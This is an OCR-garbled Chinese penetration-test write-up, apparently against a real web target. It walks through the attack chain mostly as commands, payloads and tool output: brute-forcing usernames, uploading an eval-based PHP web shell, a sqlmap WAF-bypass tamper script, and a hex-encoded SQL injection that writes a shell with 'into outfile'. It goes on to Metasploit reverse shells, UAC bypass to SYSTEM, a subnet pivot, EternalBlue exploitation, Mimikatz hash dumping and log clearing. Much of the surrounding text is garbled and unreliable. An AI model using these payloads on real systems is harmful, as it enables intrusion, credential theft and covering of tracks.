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WERE—ERMAL, XIBEEN nmap —TURERNE, AETEEENSR.

/var/www/html# nmap

Starting Nmap 7.60 ( k**~c-//nman ~-- ! ; . 11:10 EDT
Nmap scan report for

Host is up (©.017s 1-
Other addresses for {not scanned):
Mot shown: 998 filteicu puis




8o/tcp open http
443/tcp open https

Mmap done: 1 IP ddiress tl host up) scanned in 48.36 seconds
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RBENE T BBMMNEN—TTTENINER, FO7, MRARBLOA, Tuﬂ%ﬁ% (EJ2E
BwpWéﬁ—ﬁ%%F%#ﬁﬂT—%&@%ﬂ%ﬂw,ML%F%Wéﬁ% BIEAEH
APPSR EHEEFH,

‘ Filter: Showing all items |®
Request | Payload Status Error Timeout | Length ¥ | Comment

40 wangming 200 O [ 15804 [x]
454 zhangkun 200 J L 15795 )
316 machao 200 J L 15793

50 wangfei 200 L L 13219

66 yangyeng 200 L L 13219

76 zhangbo 200 J L 13219

81 lifeng 200 [l L] 13219

96 lining 200 [l [} 13219

97 lihua 200 L L 13219

110 chenlei 200 [ (] 13219 h',

Request | Response ]

REENZIER EBTAPME, Eift&I T —2/00N, ZibFEmRPEE, —2EEH
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TEREZN-TEREEEXMG LERE, MRFEETEXH LERIEERE Shell -2, &
SIFREHEZ T, BHEBH.

TGt Y gs M ontent-type PRHI, ABMBECN .pnp B LEEIER .onp BRARIFL
&, XRBERITTINE, FREFBRBRE, FHBEETREBNF,



4%7D; _ Sllaig_ =12
Connection: close

—————— VebKitFormBoundarytjsESxHNKTAEZ pBj
Content-Disposition: form-data; name="upload_file";
filename="shell exec.php”

Content-Type: image/jpeg

<?php RBeval(§_POST["cmd"]);?>

------ VebEitFormBoundaryt jsEBxHNEK7AEZ pBj
Content-Disposition: form-data; name="submitc"

------ VebKitFormBoundaryt jsESBxHNK7AEZ pBj--

? < i L > l Type a search term

Done

v

0 matches

Request Response
“ Params I Headers ] Hex I _H Headers IHO! I HTML ] Render ]
0%22vdsZZ%3A%202%2Cs20%227 "+£0548718753 " <li> &
7%7D; P <h3>000</h3> »
__tins__ 19728159=%7B%: 79%2C%2 <form enctype="multipart/form-data"
O0%22vdsZ2%3A%204%2Cs20%22 119472 mechod="post” onsubmit="recurn checkFile()">

<p>0000000000 < p>
<input class="input_ file"
type="file"” name="upload file"/>
<input class="button" type="submit"
| name="submit" value="D0"/>

</form>
</div>
</div>
</1i>
</ol>

</div> ]
v
? I < l + | > Type a search term 0 matches

3,205 bytes | 159 millis

AR T —TEENRRS:

<?php @eval("echo 'phpnb';".get_defined_vars(O['_POST']J['cmd']);?>

2 ZRMARI, S EEXHRRA phes M .pnps R EEMIN, BRIRBEEERS

& LROERE, MESSERELEREIEEX LEE Frotthit,




Request

_H Params THaaders | Hex |

Response

_“ Headers m HTML TRander ]

T7%7D;

tina 19728159=%

D%22vd¥22%3A%204%2Ch.
4%7D; S5llaig =12
Connection: close

—————— WebKitFormBoundaryt jsESxHNETAEI pE)

Content-Type: image/jpeg
<?php Beval ("echo

—————— VebKitFormBoundarytisES8xHNK7AEZ pBj

—————— VebKitFormBoundaryt3sESxHNKTAEZ pBY——

Content-Disposition: form-data; name-”upload_tile";
filename="shell exec.php3i”

rp

Cs2

.<B8719472

'phpnb' ;".get_defined vars()['_POST']['cmd']):?>

Content-Disposition: form-data; name="submit"”

| ? l < + > Type a search term

Done

0 matches

<h3>000</h3>
<form enctype="multipart/form-data”
method="post"” onsubmit="return checkFile()">
<p>0D000000000<p>
<input class="input_file"
type="file"” name="upload_file"/>
<input class="button" type="submit"
name="submit"” value="00"/>

</form»
<div id="msg">
</div>

| Upload successful!!!

</div>
</li>

</ol>

</div>

E3|ES[E3[E3)!

e

~
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l 0 matches

3,182 bytes | 2,448 millis

R REBNM Fuzz, BB ERN—CIERDERZ,

BEALEY, BMFERMINIEMAYRRE .

PO, FRESRURESC

SRR,

ol YSFHEITHAYE £

SM_EERINRY PHP X &2

BEXREZEBAE]T —8 MU sql FARMT, EELER—T




VXL va/AHJIIXLIHo

< X @ O & dex r f =R + 1 [}

© 2018FYRESHRA., S socke@ T+ 50, @FR @9 O Fs

Deprecated: mysql_escape_string(): This function is deprecated; use mysql_real_escape_string() instead. - 2hp on line 80
Deprecated: mysgl_escape_string(): This function is deprecated; use mysql_real escape_string() instead. i wmw wpma.php on line 80
Deprecated: mysql_escape_string(): This function is deprecated; use mysql_real_escape_string() instead. ir .php on line 80

£ username SEALN T T AIMIREE, A8 sqlmap —iE#R, RAIIZARRIFNT,

[09:59:08] [WARNING] back-end DBMS i MysQL

[09:59:08] [WARNING] back-end DBMS i Oracle

[09:59:08] [WARNING] back-end DBMS i PostgresSQL
[09:59:08] [WARNING] back-end DBMS i Microsoft SQL Server
[09:59:08] [WARNING] back-end DBMS i SQLite

[09:59:08] [WARNING] back-end DBMS i Microsoft Access
[09:59:08] [WARNING] back-end DBMS i Firebird

[09:59:08] [WARNING] back-end DBMS i SAP MaxDB

[09:59:08] [WARNING] back-end DBMS i Sybase

[09:59:08] [WARNING] back-end DBMS i IBM DB2
[09:59:08] [WARNING] back-end DBMS i HSQLDB or version is < 1.7.2
ARNING] eneric ¢ cenatior

[09:59:08] [WARNING] the back-end DBMS is not Informix
[#9:59:08] [CRITICAL] sqlmap was not able to fingerprint the back-end database management system

Fal T T, BARZEHEIBI.
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BENKERATEEE, CRNINRERRSI=E!
oJEERR: SHRAAE B SGRASEEK

YIHoIRESR

1) EERFNE,;
2) WEEE, BRI,
3) BEMLHE, BRAMGEEER,

BEETHMH S, SR EITAFHIFEEZ Shell FIA S, RMNEETE, RAZEHEE
T —4E SQL A\ Bypass Safedog4.0 FIXE :

https://www.cnblogs.com/zy-king—karl/articles/11431863.html

i

PRAER#HIT— T &Y.

—EHEERR T RKBEIH tamper, OWERLF, EFEFIRIRAVIERIARZ Kali B sqlmap B93ILZ
B2, XEBEM EELANTXERIN—R tamper:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from 1ib.core.enums import PRIORITY
from 1ib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload=payload.replace("=","/*1*/=/*1*/")
payload=payload.replace("ORDER","/*IORDER/*!/*/**/* /™)
payload=payload.replace("AND" " /* 1 AND/* | /*/**/* /")
payload=payload.replace("OR"  "/*IQR/* | /*/**/* /")
payload=payload.replace("UNION" " /* TUNION/*!/*/**/* /")
payload=payload.replace("SELECT","/*ISELECT/*|/*/**/* /")
payload=payload.replace("USERQ)","/*IUSER/* 1 /*/**/* /(D /**/")
navl oad=navload renlaceC"DATARASE(CY" "/*¥IDATARASFE /X1 /% /%% /% /(Y /%% /")



T s 0 0 7 J - 0 - T 7 7 T &~ 00 = NSS )T s S NS

payload=payload.replace("VERSIONQ)", /*'VERSION/*'/*/**/*/()/**/ )
payload=payload.replace("SESSION_USER()","/* I SESSION_USER/* ! /*/**/* /(D /**/")
payload=payload.replace("EXTRACTVALUE","/* VEXTRACTVALUE/* ! /*/**/*/(D/** /™)
payload=payload.replace("UPDATEXML","/* IUPDATEXML/* ! /*/**/* /™"

return payload

BRAWA LM, REHEK, RIMNERERET, EFREFS—T Bypass KM —LEHK
15, TREE— ‘“57(1%‘5[3’]22, ME T ZE2B/MAMARZSESRFR T, LHEXMERA

fEes, SRERNNHIZIRBIE HTTP X, MRBAEAMERT sqimap BIHFE, HIT
RziZth AT AR,

BARBTRATAEERMAEFE, AAENREEEEEMERT BRI, ANXERDAH
RIBREIEE T, BERERESESA—DIERD, WHEROHEREXS T WIEEY
secure file priv E"]'fﬁj\jfﬁ, N1§1Ej9337_r/bﬂ:v)\vt|j;z'f¢o

TR e T S — 1 R
1. 85J and 1=1

BASHMXMEAREEIEAR.

username=1" or 11=1 %23(Z2I#EE)

username=1' or %23(ZE2HFEE)

FRAAZEIBandfI11=1HKFAEBD, EENZEFTTFIMN. EF—FBMLHE/* . /RIS
payload:

/¥V o/ (EESENRNS, BALERENIETISHNT)

username=1" or /*111=1*/ %23 (ZEHREE)

FrlusernamefhZEEN &,

coO N O Ul A WN P

2. 513 order by

1. AJEIABCERINERST



2. L1 /*lorder /*1/*/**/by*/4-- -
3. —TMREHFHOANZET, RENEHINRERLE.

3. 237 union select

1. XTMEBERZ5IAN, HEETX—FPayload:
2. -1" union--+x%0@Aselect

4. %37 into outfile

1. MNE#HIBLERREE, FAASinto outfilefsidiR), EXEWMALASZunion selectiy5 A%, in
to--+x%0Aoutfile

5. BEA—OIIERL

1. ?id=-1" union--+x%@Aselect 1,0x3C3F706870206576616C28245F504F53545B27636D64275D293B3F
3E,3 into--+x%@Aoutfile 'D:\wwwroot\web\shell_exec.php'--+

TRBBL N ERE PHP /NG, EARTTHXEREETFEFRR, RAFESAKR, #Hh
MENEEE, EBRANSFERRESENE.

M &g -
©Fm xBET DHEEE
B Said S v
URLHHE = .hl'tps:, Ishell_exec.php

EEER cmd

Flh &

HERR UTF8 v
gt kit PHP v




* default (F1E3E)
random (-37%)

base64

2 ERiER
o Hitig S ~

6. EARRS

— MEERXNSHAEZTMBERTE T4, BT, TERESEANNNERSDS, ElERRIXLE
BriF s E 2 E T RN, BRRIRNERREEIRASIZANZERFEBN—TFE, X5
BAX—HFAINEEEHTRICIEZE, FINNRUNEEAEBRNBNEGIERRE, I
TRELZ\ENE, RRGEETEERE—LERN, FAIAA—L PHP BHRFIERIR G,

RRDUWT:
<?php @eval("echo 'phpnb';".get_defined_vars(Q['_POST']['cmd']);?>
FTA &2 89 Payload:

?id=-1" union--+x%0Aselect 1,0x3C3F70687020406576616(28226563686F20277068706E62273B222E67
65745F646566696E65645F7661727328295B275F504F5354275D5B27636D64275D293B3F3E,3 into--+x%0Ao
utfile 'D:\wwwroot\web\shell_exec.php'--+



M g o (] e

OFm  xET O EEE
B Eahf & v
URLItE * https:, 'shell_exec.phg
EEES cmd
iy ged
wEiRE uTFs v
il PHP v
) default (1)
random (A-33%)
base64 -
B BERIER
of Hittig A

Z3l Shell, ENRIFNEE— MR "whoami" KIE2—1TEEBRAF,




D:\wwwroot\web>

fi. FFEHIN

BETRAERREN, AASENONRImERE, KSR BEE MSF 5 CS BEA@E, AMUH—
[z5# Shell, & Shell F%I MSF B, E—XE LET— Kali EEHH PHP k5% Shell {4
P12 /usr/share/webshells/php/php-reverse-shell.php , ZHRNIEAFL, BEXMNF, &
58 Shell BEFRR. AESHT TEENKBES, MANEAFNBRIMEKIRZEN, EFR1D
KWT, /xj}/ia—f EZHEPRENERKBT, XEERLET,

EXEE sotiT SHESE THEME Socks{tIE [EBshell MEFEE QEWAR 852 HENES

PHP Version 5.5.38

Php

System Windows NT LAPTOP-OBVCSRPV 6.2 build 9200 (Windows 8 Home
Premium Edition) i586

Build Date Jul 20 2016 11:08:49
Compiler MSVC11 (Visual C++ 2012)
Architecture x86

FIEKISERAIREE Shell, 1TIBED NIRSEZZE IP, %% meterpreter, B “AFE", AEHE
RS2 B MSF Eiﬁﬁ%ﬁﬂﬁ HIRBRKIEHRIIFTEIRE ., oA AESLIE Shell EigAH T,
FAAESEARL, AIAEITIRE meterpreter IRIEFBHIA shell #N shell Kif,




LHOST yes  The listen address (an interface may be specified)
LPORT 4444 wes  The listen port

03:41 +0800

msf5 exploit( ) > exploit

] Started reverse TCP handler nn A A A A-4444
*] Se g e 1
] H(t(lpl(t(l on 181:4444 -> 37569) at 7:30 -0400

mefermtm > shell

Process 21140 created.

Channel 0 created.

Microsoft Windows [Bjf 10.0.18363.959]

ZIREEEAREERE getsystem HIN— NN, ERRNELZELNEFE, HIIBFAKES
BONEEBRAREE, B5%E, TESWFA vypassuac RIRFAITIRIN, BITE meterpreter
HSIERHA "bg" BEIEHNERIRS.

1. use exploit/windows/local/bypassuac
2. set session (sessionYyXtRzFREXEIAVEANFRAYLC)

EKE—F info {l:l/u\}_‘_lz —_I-L/{?TEIJ



msf5 exploit( ) = info

Name: Windows Escalate UAC Protection Bypass
Module: exploit/windows/local/bypassuac
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2010-12-31

Provided by:
David Kennedy "RelL1lK" <kennedyd®l3@gmail.com=
mitnick
mubix <mubix@hak5.org>

Available targets:
Id Name

0 Windows x86
1 Windows xb64

Check supported:
No

Basic options:
Name Current Setting Required Description

SESSION es The session to run this module on.
TECHNIQUE EXE es Technique to use if UAC is turned off (Accepted: PSH, EXE)

Payload information:

Description:
This module will 'bypass Windows UAC by utilizing the trusted
publisher certificate Through process injection. It will spawn a
second shell that has the UAC flag turned off.




References:

http://www.trustedsec.com/december-2010/bypass-windows-uac/

1T exploit Aa L FWEI— session, HIN sessions -i 5 (FRIXEIREH sessionid) HA
FERENAIRTESR, AN getuia BREUIIAINEESZRE system tXRE7T .

meterpreter = getuid
Server username: SYSTEM (@)
meterpreter > [

75 BikE A

ST T ABMATBARFRERAN T, BRI B B PAE SR 25

meterpreter = run get local subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!'] Example: run post/multi/manage/autoroute OPTION=value [...]

Local subnet: 172.16. _../255.255.255.0

meterpreter = run autoroute -s 172.1¢ "~ 0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!'] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.1( _..0/255.255.255.0...
[+] Added route to 172.16 ~ _.9/255.255.255.0 via 172.
se the -p option to list all active routes




REFRNTEANE— C RPESEHEMNZE, FABNETRIZ—E Windows #lZ8, A
UFATRILAER ICMP #iXE9—1 ping 31, XIE— C £ IP FEENEITRM,

for /L %i in (1,1,254) Do @ping -w 1 -n 1 172.16.xx.%i | findstr "TTL="

ICMP X3 ping 2015 BRAL 28K A EFF S ATRERTORIRNEI T . 18 RS

meterpreter RIEEHIA shell N shell KRim, MNREINELIBHAN chep 65001 , FOMZERIN
T

F’.E‘p].;-.l' from 72.16.1" ) = 2 time<=lms
Reply from 172.16.1 . by 2 time<lms

Reply from 172.16.1. _@: bytes=32 time<lms

Hp—aZB22I0E P, BilikE— C REFEMmalas, hrlseEMILERT 7 AE
IMARE],

EJ BC ZIA Windows #1888 E, =i
AIBETETE MS17-010,

K ms17-010 RUFHEEN, AIUNERHEP—aE

msf5 exploit( ) > use auxiliary/scanner/smb/smb msl7 010
msf5 auxiliary( ) > set rhosts 172.16.12.
rhosts => 172.16. ‘

msf5 auxiliary( ) > set threads 512

threads => 512

msf5 auxiliary( ) > run

[*] 172.7 :445 - Scanned 1 of 2 hosts (50% complete)

[+] 172.:0.12 +:445 - Host is likely VULNERABLE to MS17-010! - Wir
x86 (32-bit)

[*] 172.16.12 - Scanned 2 of 2 hosts (100% complete)

N




BHIT—K, KET—alE

1. use exploit/windows/smb/ms17_010_eternalblue

2. set rhosts B#rflgsip

3. set payload windows/x64/meterpreter/reverse_tcp
4. set lhost PRSZEEIP

5. set lport 4567

6. exploit

445 - Sending Tinal SMBv2 buffers.

.445 - Sending last fra ment of exploit packet!

:445 - Receiving response from exploit packet

: 445 - ETERMALBLUE uVrrwrltr completed successTully (@xCOe0O00D

10:445 - S
10:445 - T

ending egg to corrupted connection.
riggering free of c“rruptwd buffer.

9:445 -

2.1F : 445

2.1 0:445

Explo. .umpleted,

BREIWT=ITE, AIRERT? It -. - BEBE, ERZEERT system R, BT
F8 Mimikatz 1£EX hash 1B, Meterpreter BiN# load mimikatz, 7EIHER system NRHNS
TEFPILEY Hash:

BEEINETS Hash EXRFLR, FIRELREEZMI:

https://cmd5.com/



f6d:m = m =ooowme oo Becfc
NTLM
i il

ERSR:

SR, FTHRERNEIEARILEE 3389 O, FE—TRORAFIRMRER,



rdesktop - e O

fdminisrator |
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UHEEFW) |




& runlog-2 g
& runlog-2020-' |
™ runlog-202

u runlog-20

& runlog-2(mm 3|
& runlog-2( og
& runlog-2 .log
&/ runlog- i7.log

=

d.rar
BHE.zip
‘BB zip
zip

J168.zip
1asas3.bak
124.bak

'23454.bak

i x]

2 asa.bak
20 3. bak

DOODDODDDDDD

M

SiETE, T8 TEHE

ERRIZXZ—TFiED. BEFHEN—aRREsE. 3 —EE80T:

LOG 324
LOG X4
LOG X4
LOG 3244
LOG 34
LOG X4
LOG 3z
LOG 3744

RAR a0

ZIP RS
ZIP a5
ZIP a0
ZIP RS
BAK 3Z4%
BAK 3Z4%
BAK 3245
BAK 3Z4%
BAK 3Z4%

339 KB
459 KB
214 KB
217 KB
214 KB
2KB
3,964 KB
256 KB

238,387 KB
4,776 KB
4,349 KB

475 KB
199 KB
B KB
7 KB
2 KB
2 KB
2 KB

BB TR : meterpreter I clearrev o



REfT R TARIERAE:

FEANIE NS Z AR/ NAEIRER HEOARE —> BRERE—HAFPE —> #ANIL —> EER
M BRI AR ETEELE2BNER —>SAL JF ARSI ZEBHEFESAPERE AT H—4)
& —> ENKBRAD R Shell-> @iT BypassUAC B IRENR] system PR —> KWW IP
B9 C Ex13t, FIA ms17_010 #MFT 7T —iKKRMW —> ZdFIA Mimikatz iZEUANE R 28 —>
AR HBAN —>3389 InfzBREEHFP—EFFMAONZERE,

BERS:
1. ER—EHIRISAENSAEHEARENRR,
2. 23 ER WAF 55T FER,

3. BRRENAER, RIAERE—T.



